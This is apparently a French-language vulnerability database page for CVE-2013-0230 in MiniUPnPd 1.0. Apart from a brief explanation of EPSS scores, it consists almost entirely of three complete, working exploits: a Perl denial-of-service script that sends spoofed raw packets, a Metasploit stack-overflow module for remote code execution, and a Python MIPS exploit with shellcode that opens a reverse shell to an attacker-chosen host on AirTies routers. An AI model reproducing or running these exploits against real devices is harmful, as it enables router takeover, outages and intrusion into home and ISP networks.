CVE-2013-0230 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

#!/usr/bin/perl # # miniupnpd/1.0 remote denial of service exploit # # Copyright 2015 (c) Todor Donev # todor.donev@gmail.com # http://www.ethical-hacker.org/ # https://www.facebook.com/ethicalhackerorg # # The SSDP protocol can discover Plug & Play devices, # with uPnP (Universal Plug and Play). SSDP is HTTP # like protocol and work with NOTIFY and M-SEARCH # methods. # # See also: # CVE-2013-0229 # http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-0229 # CVE-2013-0230 # http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-0230 # # Tested on # Device Name : IMW-C920W # Device Manufacturer : INFOMARK (http://infomark.co.kr) # # These devices are commonly used by Max Telecom, Bulgaria # # Disclaimer: # This or previous program is for Educational # purpose ONLY. Do not use it without permission. # The usual disclaimer applies, especially the # fact that Todor Donev is not liable for any # damages caused by direct or indirect use of the # information or functionality provided by these # programs. The author or any Internet provider # bears NO responsibility for content or misuse # of these programs or any derivatives thereof. # By using these programs you accept the fact # that any damage (dataloss, system crash, # system compromise, etc.) caused by the use # of these programs is not Todor Donev's # responsibility. # # Use at your own risk! # # See also: # SSDP Reflection DDoS Attacks # http://tinyurl.com/mqwj6xt # ####################################### # # # perl miniupnpd.pl # # [ miniupnpd/1.0 remote denial of service exploit ] # [ =============================================== ] # [ Usage: # [ ./miniupnpd.pl <victim address> <spoofed address> # [ Example: # [ perl miniupnpd.pl 192.168.1.1 133.73.13.37 # [ Example: # [ perl miniupnpd.pl 192.168.1.1 # [ =============================================== ] # [ 2015 <todor.donev@gmail.com> Todor Donev 2015 ] # # # nmap -sU 192.168.1.1 -p1900 --script=upnp-info # # Starting Nmap 5.51 ( http://nmap.org ) at 0000-00-00 00:00 EEST # Nmap scan report for 192.168.1.1 # Host is up (0.00078s latency). # PORT STATE SERVICE # 1900/udp open upnp # | upnp-info: # | 192.168.1.1 # | Server: 1.0 UPnP/1.0 miniupnpd/1.0 # | Location: http://192.168.1.1:5000/rootDesc.xml # | Webserver: 1.0 UPnP/1.0 miniupnpd/1.0 # | Name: INFOMARK Router # | Manufacturer: INFOMARK # | Model Descr: INFOMARK Router # | Model Name: INFOMARK Router # | Model Version: 1 # | Name: WANDevice # | Manufacturer: MiniUPnP # | Model Descr: WAN Device # | Model Name: WAN Device # | Model Version: 20070228 # | Name: WANConnectionDevice # | Manufacturer: MiniUPnP # | Model Descr: MiniUPnP daemon # | Model Name: MiniUPnPd # |_ Model Version: 20070228 # MAC Address: 00:00:00:00:00:00 (Infomark Co.) // CENSORED # # Nmap done: 1 IP address (1 host up) scanned in 0.39 seconds # # # perl miniupnpd.pl 192.168.1.1 # # [ miniupnpd/1.0 remote denial of service exploit ] # [ =============================================== ] # [ Target: 192.168.1.1 # [ Send malformed SSDP packet.. # # # nmap -sU 192.168.1.1 -p1900 # # Starting Nmap 5.51 ( http://nmap.org ) at 0000-00-00 00:00 EEST # Nmap scan report for 192.168.1.1 # Host is up (0.00085s latency). # PORT STATE SERVICE # 1900/udp closed upnp // GOOD NIGHT, SWEET PRINCE.... :D # MAC Address: 00:00:00:00:00:00 (Infomark Co.) // CENSORED # # Nmap done: 1 IP address (1 host up) scanned in 0.16 seconds # # # Special thanks to HD Moore .. # use Socket; if ( $< != 0 ) { print "Sorry, must be run as root!\n"; print "This script use RAW Socket.\n"; exit; } my $ip_src = (gethostbyname($ARGV[1]))[4]; my $ip_dst = (gethostbyname($ARGV[0]))[4]; print "\n[ miniupnpd/1.0 remote denial of service exploit ]\n"; print "[ =============================================== ]\n"; select(undef, undef, undef, 0.40); if (!defined $ip_dst) { print "[ Usage:\n[ ./$0 <victim address> <spoofed address>\n"; select(undef, undef, undef, 0.55); print "[ Example:\n[ perl $0 192.168.1.1 133.73.13.37\n"; print "[ Example:\n[ perl $0 192.168.1.1\n"; print "[ =============================================== ]\n"; print "[ 2015 <todor.donev\@gmail.com> Todor Donev 2015 ]\n\n"; exit; } socket(RAW, PF_INET, SOCK_RAW, 255) or die $!; setsockopt(RAW, 0, 1, 1) or die $!; main(); # Main program sub main { my $packet; $packet = iphdr(); $packet .= udphdr(); $packet .= payload(); # b000000m... send_packet($packet); } # IP header (Layer 3) sub iphdr { my $ip_ver = 4; # IP Version 4 (4 bits) my $iphdr_len = 5; # IP Header Length (4 bits) my $ip_tos = 0; # Differentiated Services (8 bits) my $ip_total_len = $iphdr_len + 20; # IP Header Length + Data (16 bits) my $ip_frag_id = 0; # Identification Field (16 bits) my $ip_frag_flag = 000; # IP Frag Flags (R DF MF) (3 bits) my $ip_frag_offset = 0000000000000; # IP Fragment Offset (13 bits) my $ip_ttl = 255; # IP TTL (8 bits) my $ip_proto = 17; # IP Protocol (8 bits) my $ip_checksum = 0; # IP Checksum (16 bits) my $ip_src=gethostbyname(&randip) if !$ip_src; # IP Source (32 bits) # IP Packet construction my $iphdr = pack( 'H2 H2 n n B16 h2 c n a4 a4', $ip_ver . $iphdr_len, $ip_tos, $ip_total_len, $ip_frag_id, $ip_frag_flag . $ip_frag_offset, $ip_ttl, $ip_proto, $ip_checksum, $ip_src, $ip_dst ); return $iphdr; } # UDP header (Layer 4) sub udphdr { my $udp_src_port = 31337; # UDP Sort Port (16 bits) (0-65535) my $udp_dst_port = 1900; # UDP Dest Port (16 btis) (0-65535) my $udp_len = 8 + length(payload()); # UDP Length (16 bits) (0-65535) my $udp_checksum = 0; # UDP Checksum (16 bits) (XOR of header) # UDP Packet my $udphdr = pack( 'n n n n', $udp_src_port, $udp_dst_port, $udp_len, $udp_checksum ); return $udphdr; } # Create SSDP Bomb sub payload { my $data; my $head; $data = "M-SEARCH * HTTP\/1.1\\r\\n"; for (0..1260) { $data .= chr( int(rand(25) + 65) ); } my $payload = pack('a' . length($data), $data); return $payload; } # Generate random source ip address sub randip () { srand(time() ^ ($$ + ($$ << 15))); my $ipdata; $ipdata = join ('.', (int(rand(255)), int(rand(255)), int(rand(255)), int(rand(255)))), "\n"; my $ipsrc = pack('A' . length($ipdata), rand($ipdata)); return $ipdata; } # Send the malformed packet sub send_packet { print "[ Target: $ARGV[0]\n"; select(undef, undef, undef, 0.30); print "[ Send malformed SSDP packet..\n\n"; send(RAW, $_[0], 0, pack('Sna4x8', PF_INET, 60, $ip_dst)) or die $!; }

## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpClient Rank = NormalRanking def initialize(info = {}) super(update_info(info, 'Name' => 'MiniUPnPd 1.0 Stack Buffer Overflow Remote Code Execution', 'Description' => %q{ This module exploits the MiniUPnP 1.0 SOAP stack buffer overflow vulnerability present in the SOAPAction HTTP header handling. }, 'Author' => [ 'hdm', # Vulnerability discovery 'Dejan Lukan' # Metasploit module ], 'License' => MSF_LICENSE, 'DefaultOptions' => { 'EXITFUNC' => 'process', }, # the byte '\x22' is the '"' character and the miniupnpd scans for that character in the # input, which is why it can't be part of the shellcode (otherwise the vulnerable part # of the program is never reached) 'Payload' => { 'Space' => 2060, 'BadChars' => "\x00\x22", 'DisableNops' => true }, 'Platform' => 'linux', 'References' => [ [ 'CVE', '2013-0230' ], [ 'OSVDB', '89624' ], [ 'BID', '57608' ], [ 'URL', 'https://community.rapid7.com/community/infosec/blog/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play'] ], 'Targets' => [ [ 'Debian GNU/Linux 6.0 / MiniUPnPd 1.0', { 'Ret' => 0x0804ee43, # pop ebp # ret # from miniupnpd 'Offset' => 2123 } ], ], 'DefaultTarget' => 0, 'Privileged' => false, 'DisclosureDate' => 'Mar 27 2013', )) register_options([ Opt::RPORT(5555), ], self.class) end def exploit # # Build the SOAP Exploit # # jmp 0x2d ; jump forward 0x2d bytes (jump right after the '#' char) sploit = "\xeb\x2d" # a valid action sploit += "n:schemas-upnp-org:service:WANIPConnection:1#" # payload sploit += payload.encoded # nops sploit += rand_text(target['Offset'] - sploit.length - 16) # overwrite registers on stack: the values are not used, so we can overwrite them with anything sploit += rand_text(4) # overwrite EBX sploit += rand_text(4) # overwrite ESI sploit += rand_text(4) # overwrite EDI sploit += rand_text(4) # overwrite EBP # Overwrite EIP with addresss of "pop ebp, ret", because the second value on the # stack points directly to the string after 'Soapaction: ', which is why we must # throw the first value on the stack away, which we're doing with the pop ebp # instruction. Then we're returning to the next value on the stack, which is # exactly the address that we want. sploit += [target.ret].pack('V') # the ending " character is necessary for the vulnerability to be reached sploit += "\"" # data sent in the POST body data = "<?xml version='1.0' encoding=\"UTF-8\"?>\r\n" + "<SOAP-ENV:Envelope\r\n" + " SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"\r\n" + " xmlns:SOAP-ENC=\"http://schemas.xmlsoap.org/soap/encoding/\"\r\n" + " xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\"\r\n" + ">\r\n" + "<SOAP-ENV:Body>\r\n" + "<ns1:action xmlns:ns1=\"urn:schemas-upnp-org:service:WANIPConnection:1\" SOAP-ENC:root=\"1\">\r\n" + "</ns1:action>\r\n" + "</SOAP-ENV:Body>\r\n" + "</SOAP-ENV:Envelope>\r\n" # # Build and send the HTTP request # print_status("Sending exploit to victim #{target.name} at ...") send_request_cgi({ 'method' => 'POST', 'uri' => "/", 'headers' => { 'SOAPAction' => sploit, }, 'data' => data, }) # disconnect from the server disconnect end end

#!/usr/bin/env python # Exploit Title: MiniUPnPd 1.0 Stack Overflow RCE for AirTies RT Series # Date: 26.04.2015 # Exploit Author: Onur ALANBEL (BGA) # Vendor Homepage: http://miniupnp.free.fr/ # Version: 1.0 # Architecture: MIPS # Tested on: AirTies RT-204v3 # CVE : 2013-0230 # Exploit gives a reverse shell to lhost:lport # Details: https://www.exploit-db.com/docs/english/36806-developing-mips-exploits-to-hack-routers.pdf import urllib2 from string import join from argparse import ArgumentParser from struct import pack from socket import inet_aton BYTES = 4 def hex2str(value, size=BYTES): data = "" for i in range(0, size): data += chr((value >> (8*i)) & 0xFF) data = data[::-1] return data arg_parser = ArgumentParser(prog="miniupnpd_mips.py", description="MiniUPnPd \ CVE-2013-0230 Reverse Shell exploit for AirTies \ RT Series, start netcat on lhost:lport") arg_parser.add_argument("--target", required=True, help="Target IP address") arg_parser.add_argument("--lhost", required=True, help="The IP address\ which nc is listening") arg_parser.add_argument("--lport", required=True, type=int, help="The\ port which nc is listening") args = arg_parser.parse_args() libc_base = 0x2aabd000 ra_1 = hex2str(libc_base + 0x36860) # ra = 1. gadget s1 = hex2str(libc_base + 0x1636C) # s1 = 2. gadget sleep = hex2str(libc_base + 0x35620) # sleep function ra_2 = hex2str(libc_base + 0x28D3C) # ra = 3. gadget s6 = hex2str(libc_base + 0x1B19C) # ra = 4.gadget s2 = s6 lport = pack('>H', args.lport) lhost = inet_aton(args.lhost) shellcode = join([ "\x24\x11\xff\xff" "\x24\x04\x27\x0f" "\x24\x02\x10\x46" "\x01\x01\x01\x0c" "\x1e\x20\xff\xfc" "\x24\x11\x10\x2d" "\x24\x02\x0f\xa2" "\x01\x01\x01\x0c" "\x1c\x40\xff\xf8" "\x24\x0f\xff\xfa" "\x01\xe0\x78\x27" "\x21\xe4\xff\xfd" "\x21\xe5\xff\xfd" "\x28\x06\xff\xff" "\x24\x02\x10\x57" "\x01\x01\x01\x0c" "\xaf\xa2\xff\xff" "\x8f\xa4\xff\xff" "\x34\x0f\xff\xfd" "\x01\xe0\x78\x27" "\xaf\xaf\xff\xe0" "\x3c\x0e" + lport + "\x35\xce" + lport + "\xaf\xae\xff\xe4" "\x3c\x0e" + lhost[:2] + "\x35\xce" + lhost[2:4] + "\xaf\xae\xff\xe6" "\x27\xa5\xff\xe2" "\x24\x0c\xff\xef" "\x01\x80\x30\x27" "\x24\x02\x10\x4a" "\x01\x01\x01\x0c" "\x24\x0f\xff\xfd" "\x01\xe0\x78\x27" "\x8f\xa4\xff\xff" "\x01\xe0\x28\x21" "\x24\x02\x0f\xdf" "\x01\x01\x01\x0c" "\x24\x10\xff\xff" "\x21\xef\xff\xff" "\x15\xf0\xff\xfa" "\x28\x06\xff\xff" "\x3c\x0f\x2f\x2f" "\x35\xef\x62\x69" "\xaf\xaf\xff\xec" "\x3c\x0e\x6e\x2f" "\x35\xce\x73\x68" "\xaf\xae\xff\xf0" "\xaf\xa0\xff\xf4" "\x27\xa4\xff\xec" "\xaf\xa4\xff\xf8" "\xaf\xa0\xff\xfc" "\x27\xa5\xff\xf8" "\x24\x02\x0f\xab" "\x01\x01\x01\x0c" ], '') payload = 'C'*2052 + s1 + 'C'*(4*4) + s6 + ra_1 + 'C'*28 + sleep + 'C'*40 + s2\ + ra_2 + 'C'*32 + shellcode soap_headers = { 'SOAPAction': "n:schemas-upnp-org:service:WANIPConnection:1#" + payload, } soap_data = """ <?xml version='1.0' encoding="UTF-8"?> <SOAP-ENV:Envelope SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" > <SOAP-ENV:Body> <ns1:action xmlns:ns1="urn:schemas-upnp-org:service:WANIPConnection:1"\ SOAP-ENC:root="1"> </ns1:action> </SOAP-ENV:Body> </SOAP-ENV:Envelope> """ try: print "Exploiting..." req = urllib2.Request("http://" + args.target + ":5555", soap_data, soap_headers) res = urllib2.urlopen(req).read() except: print "Ok"